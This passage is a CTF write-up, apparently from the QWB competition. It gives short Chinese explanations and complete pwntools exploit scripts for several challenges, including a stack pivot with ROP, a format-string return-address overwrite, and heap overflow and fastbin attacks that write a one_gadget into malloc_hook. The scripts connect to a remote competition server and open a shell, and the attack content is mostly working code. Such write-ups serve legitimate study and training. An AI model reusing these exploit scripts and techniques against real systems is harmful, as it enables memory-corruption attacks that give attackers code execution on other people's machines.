d = [0]*len(b)
c = ''
for i in range(0,len(b),4):
d[i] = b[i+1]
d[i+1] = b[i+2]
d[i + 2] = b[i + 3]
d[i + 3] = b[i]
print d
for i in range(len(b)):
c += chr((d[i]-65)^ord(a[i%7]))
print c
print len(b)
print len(c)
baby_crt
crypto
RSA CRT fault
http://dl.ifip.org/db/conf/wistp/wistp2007/KimQ07.pdf
1 | from hashlib import sha1 |
babymessage
可以覆盖ebp,因为没开pie,所以直接栈迁移到bss上导致了第二次调用时候会栈溢出。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39from pwn import *
#r=process('./babymessage')
r=remote('123.56.170.202',21342)
main_addr=0x00000000040091A
def leave_name(name):
r.sendlineafter('choice','1')
r.sendafter('name',name)
def lmessage(content):
r.sendlineafter('choice','2')
r.sendafter('message',content)
def show():
r.sendlineafter('choice','3')
def gd(cmd=''):
gdb.attach(r,cmd)
pause()
pd=0x0000000000400ac3
psr=0x0000000000400ac1
backdoor=0x000000000040080A
elf=ELF('./babymessage')
libc=ELF('./libc-2.27.so')
leave_name('$0')
lmessage('b'*8+p64(0x6010d0+4))
lmessage('b'*8+p64(0x6010d0+4)+p64(pd)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(pd)+p64(0x100)+p64(backdoor))
r.recvuntil('\n')
r.recvuntil('\n')
r.recvuntil('\n')
leak=u64(r.recv(6).ljust(8,'\x00'))
print 'leak '+hex(leak)
lbase=leak-libc.symbols['puts']
print 'lbase '+hex(lbase)
sys=lbase+libc.symbols['system']
one=0x10a45c+lbase
#gd('b *0x0000000000400886')
r.send('b'*8+p64(0x6010d0+4)+p64(one))
#r.send('b'*8+p64(0x6010d0+4)+p64(pd)+p64(0x00000000006010D0)+p64(sys))
r.interactive()
bank
no negative check for amount
transact
Alice -1000
get flag
红方辅助
分析一下流量的格式,解解密就行
1 | import struct |
得到3e752bf509ddb4e9a42f1ef30beff495
flag提交一直不对,改一下格式即可:QWB{3e752bf509ddb4e9a42f1ef30beff495}
Siri - 强网先锋
一个简单的格式化字符串,leak了stack地址之后就是对上面的地址进行一个返回地址和保存的rbp进行一个修改,通过抬栈 执行 one_gadget1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42from pwn import*
p = process('./main')
p = remote('123.56.170.202',12124)
libc = ELF('./libc-2.27.so')
p.sendlineafter('>>> ','Hey Siri!')
offset = 14
p.sendlineafter('>>> ','Remind me to ' + 'BBBBAAAAAAAAStack:%46$pLIBC:%83$pPROC:%47$pCanary:%45$p')
p.recvuntil('Stack:')
stack = int(p.recv(14),16) - 288
log.info('Stack:\t' + hex(stack))
p.recvuntil('LIBC:')
libc_base = int(p.recv(14),16) - 231 - libc.sym['__libc_start_main']
log.info('LIBC:\t' + hex(libc_base))
p.recvuntil('PROC:')
proc_base = int(p.recv(14),16) - 0x144C
log.info('Proc:\t' + hex(proc_base))
p.recvuntil('Canary:')
canary = int(p.recv(18),16)
log.info('Canary:\t' + hex(canary))
pop_rdi_ret = proc_base + 0x0152B
leave_ret = proc_base + 0x12E2
rce = libc_base + 0x10A45C
open_sys = libc_base + libc.sym['open']
read_sys = libc_base + libc.sym['read']
puts = libc_base + libc.sym['puts']
p.sendlineafter('>>> ','Hey Siri!')
off_1 = (((stack + 0x50)&0xFFFF))
off_2 = (leave_ret&0xFFFF)
#gdb.attach(p,'b *0x5555555552A2')
if off_1 > off_2:
payload = 'Remind me to ' + '%' + str((off_2 - 27)) + 'c%55$hn' + '%' + str((off_1 - off_2)) + 'c%56$hn'
payload = payload.ljust(0x38,'\x00')
payload += p64(stack + 8) + p64(stack)
payload += p64(rce)
else:
payload = 'Remind me to ' + '%' + str((off_1 - 27)) + 'c%55$hn' + '%' + str((off_2 - off_1)) + 'c%56$hn'
payload = payload.ljust(0x38,'\x00')
payload += p64(stack) + p64(stack + 8)
payload += p64(rce)
p.sendlineafter('>>> ',payload)
p.interactive()
Just a Galgame - 强网先锋
如果top_chunk的size 不够申请的大小,就会另外开辟一个top_chunk,将原先top_chunk扔进unsorted bin,切割后拿到libc_base,在case 5有个read(0,0x4040A0,8);往栈上写一个地址,然乎case 2没有对 index 索引进行一个 检测 越界修改这个地址里面的内容,即可将malloc_hook写为rce1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33from pwn import*
context.log_level ='DEBUG'
def menu(ch):
p.sendlineafter('>> ',str(ch))
def new():
menu(1)
def edit(index,name):
menu(2)
p.sendlineafter('idx >>',str(index))
p.sendafter('movie name >> ',name)
def large():
menu(3)
def show():
menu(4)
def leave(say):
menu(5)
p.sendafter('QAQ\n',say)
p = process('./main')
p = remote('123.56.170.202',52114)
libc =ELF('./libc-2.27.so')
new()
edit(0,p64(0) + p64(0xD41))
large()
new()
show()
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] -0x10 - 1632
log.info('LIBC:\t' + hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
rce = libc_base + 0x10A45C
leave(p64(malloc_hook - 0x60))
edit(8,p64(rce))
new()
p.interactive()
babynotes - 强网先锋
因为在regset中 strcpy 可以导致堆溢出修改下一个块的size,则可构造 chunk overlap,然后往malloc_hook中写入rce1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59from pwn import*
#context.log_level ='DEBUG'
def menu(ch):
p.sendlineafter('>> ',str(ch))
def new(index,size):
menu(1)
p.sendlineafter('index:',str(index))
p.sendlineafter('size:',str(size))
def show(index):
menu(2)
p.sendlineafter('index:',str(index))
def free(index):
menu(3)
p.sendlineafter('index:',str(index))
def edit(index,content):
menu(4)
p.sendlineafter('index:',str(index))
p.sendafter('note:',content)
def Set(name,motto,age):
p.sendafter('name:',name)
p.sendafter('motto:',motto)
p.sendlineafter('age:',str(age))
def check():
menu(6)
p = process('./main')
libc =ELF('./libc-2.23.so')
p = remote('123.56.170.202',43121)
Set('FMYY','FAQ',0x21)
new(0,0x100)
new(1,0x18)
new(2,0x60)
new(3,0x60)
new(4,0x60)
free(0)
new(0,0x100)
show(0)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x10 - 88 - libc.sym['__malloc_hook']
log.info('LIBC:\t' + hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
rce= libc_base + 0xF1207
free(0)
free(1)
menu(5)
Set('U'*0x18,'FAQ',0xE1)
free(2)
new(0,0x60)
new(1,0x60) # 1 = 3
free(1)
free(0)
free(3)
new(3,0x60)
edit(3,p64(malloc_hook - 0x23))
new(0,0x60)
new(5,0x60)
new(1,0x60)
edit(1,'\x00'*0x13 + p64(rce))
free(0)
new(0,0x60)
p.interactive()